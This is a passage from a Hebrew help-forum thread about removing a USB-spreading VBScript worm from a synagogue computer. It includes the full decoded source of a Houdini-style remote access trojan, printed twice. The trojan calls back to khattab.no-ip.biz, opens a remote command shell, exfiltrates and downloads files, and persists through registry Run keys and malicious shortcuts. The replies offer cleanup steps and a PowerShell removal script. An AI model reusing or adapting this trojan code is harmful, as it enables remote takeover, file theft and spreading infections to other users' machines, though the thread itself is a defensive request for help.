          המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

          או לכבות vbs דרך הריג'יסטרי.

          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי
          #10

          @cfopuser בשביל מה?
          אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          cfopuserC תגובה 1 תגובה אחרונה
          0
          • מתכנת חובבמ מתכנת חובב

            @cfopuser בשביל מה?
            אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

            cfopuserC מנותק
            cfopuserC מנותק
            cfopuser
            כתב נערך לאחרונה על ידי
            #11

            @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            @cfopuser בשביל מה?

            לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

            מתכנת חובבמ תגובה 1 תגובה אחרונה
            0
            • ר רנדומלי

              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

              cmd /c hrxxryydxo.vbs && start explorer [file name]
              

              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
              

              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
              לאחר פיענוח הקידוד התקבל הקוד הבא:
              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

              e
              '<[ recoder : houdini (c) skype : houdini-fx ]>
              
              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              
              host = "khattab.no-ip.biz"
              port = 5550
              installdir = "%temp%"
              lnkfile = true
              lnkfolder = true
              
              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
              
              dim shellobj 
              set shellobj = wscript.createobject("wscript.shell")
              dim filesystemobj
              set filesystemobj = createobject("scripting.filesystemobject")
              dim httpobj
              set httpobj = createobject("msxml2.xmlhttp")
              
              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
              
              installname = wscript.scriptname
              startup = shellobj.specialfolders ("startup") & "\"
              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
              spliter = "<" & "|" & ">"
              sleep = 5000 
              dim response
              dim cmd
              dim param
              info = ""
              usbspreading = ""
              startdate = ""
              dim oneonce
              
              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
              on error resume next
              
              instance
              while true
              
              install
              
              response = ""
              response = post ("is-ready","")
              cmd = split (response,spliter)
              select case cmd (0)
              case "excecute"
                    param = cmd (1)
                    execute param
              case "update"
                    param = cmd (1)
                    oneonce.close
                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                    oneonce.write param
                    oneonce.close
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                    wscript.quit 
              case "uninstall"
                    uninstall
              case "send"
                    download cmd (1),cmd (2)
              case "site-send"
                    sitedownloader cmd (1),cmd (2)
              case "recv"
                    param = cmd (1)
                    upload (param)
              case  "enum-driver"
                    post "is-enum-driver",enumdriver  
              case  "enum-faf"
                    param = cmd (1)
                    post "is-enum-faf",enumfaf (param)
              case  "enum-process"
                    post "is-enum-process",enumprocess   
              case  "cmd-shell"
                    param = cmd (1)
                    post "is-cmd-shell",cmdshell (param)  
              case  "delete"
                    param = cmd (1)
                    deletefaf (param) 
              case  "exit-process"
                    param = cmd (1)
                    exitprocess (param) 
              case  "sleep"
                    param = cmd (1)
                    sleep = eval (param)        
              end select
              
              wscript.sleep sleep
              
              wend
              
              sub install
              on error resume next
              dim lnkobj
              dim filename
              dim foldername
              dim fileicon
              dim foldericon
              
              upstart
              for each drive in filesystemobj.drives
              
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                  end if
                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                      if not lnkfile then exit for
                      if  instr (file.name,".") then
                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                              file.attributes = 2+4
                              if  ucase (file.name) <> ucase (installname) then
                                  filename = split(file.name,".")
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                  if  instr (fileicon,",") = 0 then
                                      lnkobj.iconlocation = file.path
                                  else 
                                      lnkobj.iconlocation = fileicon
                                  end if
                                  lnkobj.save()
                              end if
                          end if
                      end if
                  next
                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                      if not lnkfolder then exit for
                      folder.attributes = 2+4
                      foldername = folder.name
                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                      lnkobj.windowstyle = 7
                      lnkobj.targetpath = "cmd.exe"
                      lnkobj.workingdirectory = ""
                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                      if  instr (foldericon,",") = 0 then
                          lnkobj.iconlocation = folder.path
                      else 
                          lnkobj.iconlocation = foldericon
                      end if
                      lnkobj.save()
                  next
              end If
              end If
              end if
              next
              err.clear
              end sub
              
              sub uninstall
              on error resume next
              dim filename
              dim foldername
              
              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              filesystemobj.deletefile startup & installname ,true
              filesystemobj.deletefile wscript.scriptfullname ,true
              
              for  each drive in filesystemobj.drives
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                       on error resume next
                       if  instr (file.name,".") then
                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                               file.attributes = 0
                               if  ucase (file.name) <> ucase (installname) then
                                   filename = split(file.name,".")
                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                               else
                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                               end If
                           else
                               filesystemobj.deletefile (file.path) 
                           end if
                       end if
                   next
                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                       folder.attributes = 0
                   next
              end if
              end if
              end if
              next
              wscript.quit
              end sub
              
              function post (cmd ,param)
              
              post = param
              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
              httpobj.setrequestheader "user-agent:",information
              httpobj.send param
              post = httpobj.responsetext
              end function
              
              function information
              on error resume next
              if  inf = "" then
                  inf = hwid & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
              
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set os = root.execquery ("select * from win32_operatingsystem")
                  for each osinfo in os
                     inf = inf & osinfo.caption & spliter  
                     exit for
                  next
                  inf = inf & "plus" & spliter
                  inf = inf & security & spliter
                  inf = inf & usbspreading
                  information = inf  
              else
                  information = inf
              end if
              end function
              
              sub upstart ()
              on error resume Next
              
              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
              
              end sub
              
              function hwid
              on error resume next
              
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set disks = root.execquery ("select * from win32_logicaldisk")
              for each disk in disks
                  if  disk.volumeserialnumber <> "" then
                      hwid = disk.volumeserialnumber
                      exit for
                  end if
              next
              end function
              
              function security 
              on error resume next
              
              security = ""
              
              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
              for each objitem in colitems
                  versionstr = split (objitem.version,".")
              next
              versionstr = split (colitems.version,".")
              osversion = versionstr (0) & "."
              for  x = 1 to ubound (versionstr)
                   osversion = osversion &  versionstr (i)
              next
              osversion = eval (osversion)
              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
              
              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
              
              for each objantivirus in colantivirus
                  security  = security  & objantivirus.displayname & " ."
              next
              if security  = "" then security  = "nan-av"
              end function
              
              function instance
              on error resume next
              
              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
              if usbspreading = "" then
                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                    usbspreading = "true - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                 else
                    usbspreading = "false - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
              
                 end if
              end If
              
              
              upstart
              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                  wscript.quit 
              end If
              err.clear
              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
              if  err.number > 0 then wscript.quit
              end function
              
              sub sitedownloader (fileurl,filename)
              
              strlink = fileurl
              strsaveto = installdir & filename
              set objhttpdownload = createobject("msxml2.xmlhttp" )
              objhttpdownload.open "get", strlink, false
              objhttpdownload.send
              
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
               
              if objhttpdownload.status = 200 then
                 dim  objstreamdownload
                 set  objstreamdownload = createobject("adodb.stream")
                 with objstreamdownload
                      .type = 1 
                      .open
                      .write objhttpdownload.responsebody
                      .savetofile strsaveto
                      .close
                 end with
                 set objstreamdownload = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              sub download (fileurl,filedir)
              
              if filedir = "" then 
                 filedir = installdir
              end if
              
              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
              set objhttpdownload = createobject("msxml2.xmlhttp")
              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
              objhttpdownload.send ""
                   
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
              if  objhttpdownload.status = 200 then
                  dim  objstreamdownload
                  set  objstreamdownload = createobject("adodb.stream")
                  with objstreamdownload 
                       .type = 1 
                       .open
                       .write objhttpdownload.responsebody
                       .savetofile strsaveto
                       .close
                  end with
                  set objstreamdownload  = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              function upload (fileurl)
              
              dim  httpobj,objstreamuploade,buffer
              set  objstreamuploade = createobject("adodb.stream")
              with objstreamuploade 
                   .type = 1 
                   .open
                   .loadfromfile fileurl
                   buffer = .read
                   .close
              end with
              set objstreamdownload = nothing
              set httpobj = createobject("msxml2.xmlhttp")
              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
              httpobj.send buffer
              end function
              
              function enumdriver ()
              
              for  each drive in filesystemobj.drives
              if   drive.isready = true then
                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
              end if
              next
              end Function
              
              function enumfaf (enumdir)
              
              enumfaf = enumdir & spliter
              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
              next
              
              for  each file in filesystemobj.getfolder (enumdir).files
                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
              
              next
              end function
              
              function enumprocess ()
              
              on error resume next
              
              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_process",,48)
              
              dim objitem
              for each objitem in colitems
                  enumprocess = enumprocess & objitem.name & "|"
                  enumprocess = enumprocess & objitem.processid & "|"
                  enumprocess = enumprocess & objitem.executablepath & spliter
              next
              end function
              
              sub exitprocess (pid)
              on error resume next
              
              shellobj.run "taskkill /F /T /PID " & pid,7,true
              end sub
              
              sub deletefaf (url)
              on error resume next
              
              filesystemobj.deletefile url
              filesystemobj.deletefolder url
              
              end sub
              
              function cmdshell (cmd)
              
              dim httpobj,oexec,readallfromany
              
              set oexec = shellobj.exec ("%comspec% /c " & cmd)
              if not oexec.stdout.atendofstream then
                 readallfromany = oexec.stdout.readall
              elseif not oexec.stderr.atendofstream then
                 readallfromany = oexec.stderr.readall
              else 
                 readallfromany = ""
              end if
              
              cmdshell = readallfromany
              end function
              
              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי
              #12

              @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

              $vName = "hrxxryydxo"
              $vFile = "$vName.vbs"
              
              Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
              
              # 1. עצירת התהליך החי במחשב
              Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                  Where-Object CommandLine -match $vName | 
                  Invoke-CimMethod -MethodName Terminate | Out-Null
              Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
              
              # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
              Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
              Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
              Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
              Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
              
              # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
              $tempDir = [System.IO.Path]::GetTempPath()
              $startupDir = [Environment]::GetFolderPath('Startup')
              Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
              Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
              Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
              
              
              Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
              
              # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
              $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
              
              if ($usbDrives.Count -eq 0) {
                  Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
              } else {
                  foreach ($drive in $usbDrives) {
                      $driveLetter = $drive.DeviceID + "\" 
                      Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
              
                      # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                      Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                      Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
              
                      # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                      Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                          if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                              $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                              $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                          }
                      }
                      Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                  }
              }
              
              Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
              

              לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              תגובה 1 תגובה אחרונה
              0
              • cfopuserC cfopuser

                @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                @cfopuser בשביל מה?

                לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי מתכנת חובב
                #13

                @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                תגובה 1 תגובה אחרונה
                2
                • ר רנדומלי

                  בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                  cmd /c hrxxryydxo.vbs && start explorer [file name]
                  

                  הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                  תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                  לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                  z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                  

                  בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                  לאחר פיענוח הקידוד התקבל הקוד הבא:
                  אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                  e
                  '<[ recoder : houdini (c) skype : houdini-fx ]>
                  
                  '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  host = "khattab.no-ip.biz"
                  port = 5550
                  installdir = "%temp%"
                  lnkfile = true
                  lnkfolder = true
                  
                  '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  dim shellobj 
                  set shellobj = wscript.createobject("wscript.shell")
                  dim filesystemobj
                  set filesystemobj = createobject("scripting.filesystemobject")
                  dim httpobj
                  set httpobj = createobject("msxml2.xmlhttp")
                  
                  '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                  
                  installname = wscript.scriptname
                  startup = shellobj.specialfolders ("startup") & "\"
                  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                  spliter = "<" & "|" & ">"
                  sleep = 5000 
                  dim response
                  dim cmd
                  dim param
                  info = ""
                  usbspreading = ""
                  startdate = ""
                  dim oneonce
                  
                  '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                  on error resume next
                  
                  instance
                  while true
                  
                  install
                  
                  response = ""
                  response = post ("is-ready","")
                  cmd = split (response,spliter)
                  select case cmd (0)
                  case "excecute"
                        param = cmd (1)
                        execute param
                  case "update"
                        param = cmd (1)
                        oneonce.close
                        set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                        oneonce.write param
                        oneonce.close
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                        wscript.quit 
                  case "uninstall"
                        uninstall
                  case "send"
                        download cmd (1),cmd (2)
                  case "site-send"
                        sitedownloader cmd (1),cmd (2)
                  case "recv"
                        param = cmd (1)
                        upload (param)
                  case  "enum-driver"
                        post "is-enum-driver",enumdriver  
                  case  "enum-faf"
                        param = cmd (1)
                        post "is-enum-faf",enumfaf (param)
                  case  "enum-process"
                        post "is-enum-process",enumprocess   
                  case  "cmd-shell"
                        param = cmd (1)
                        post "is-cmd-shell",cmdshell (param)  
                  case  "delete"
                        param = cmd (1)
                        deletefaf (param) 
                  case  "exit-process"
                        param = cmd (1)
                        exitprocess (param) 
                  case  "sleep"
                        param = cmd (1)
                        sleep = eval (param)        
                  end select
                  
                  wscript.sleep sleep
                  
                  wend
                  
                  sub install
                  on error resume next
                  dim lnkobj
                  dim filename
                  dim foldername
                  dim fileicon
                  dim foldericon
                  
                  upstart
                  for each drive in filesystemobj.drives
                  
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                      if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                      end if
                      for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                          if not lnkfile then exit for
                          if  instr (file.name,".") then
                              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                  file.attributes = 2+4
                                  if  ucase (file.name) <> ucase (installname) then
                                      filename = split(file.name,".")
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                      if  instr (fileicon,",") = 0 then
                                          lnkobj.iconlocation = file.path
                                      else 
                                          lnkobj.iconlocation = fileicon
                                      end if
                                      lnkobj.save()
                                  end if
                              end if
                          end if
                      next
                      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                          if not lnkfolder then exit for
                          folder.attributes = 2+4
                          foldername = folder.name
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                          if  instr (foldericon,",") = 0 then
                              lnkobj.iconlocation = folder.path
                          else 
                              lnkobj.iconlocation = foldericon
                          end if
                          lnkobj.save()
                      next
                  end If
                  end If
                  end if
                  next
                  err.clear
                  end sub
                  
                  sub uninstall
                  on error resume next
                  dim filename
                  dim foldername
                  
                  shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  filesystemobj.deletefile startup & installname ,true
                  filesystemobj.deletefile wscript.scriptfullname ,true
                  
                  for  each drive in filesystemobj.drives
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      for  each file in filesystemobj.getfolder ( drive.path & "\").files
                           on error resume next
                           if  instr (file.name,".") then
                               if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                   file.attributes = 0
                                   if  ucase (file.name) <> ucase (installname) then
                                       filename = split(file.name,".")
                                       filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                   else
                                       filesystemobj.deletefile (drive.path & "\" & file.name)
                                   end If
                               else
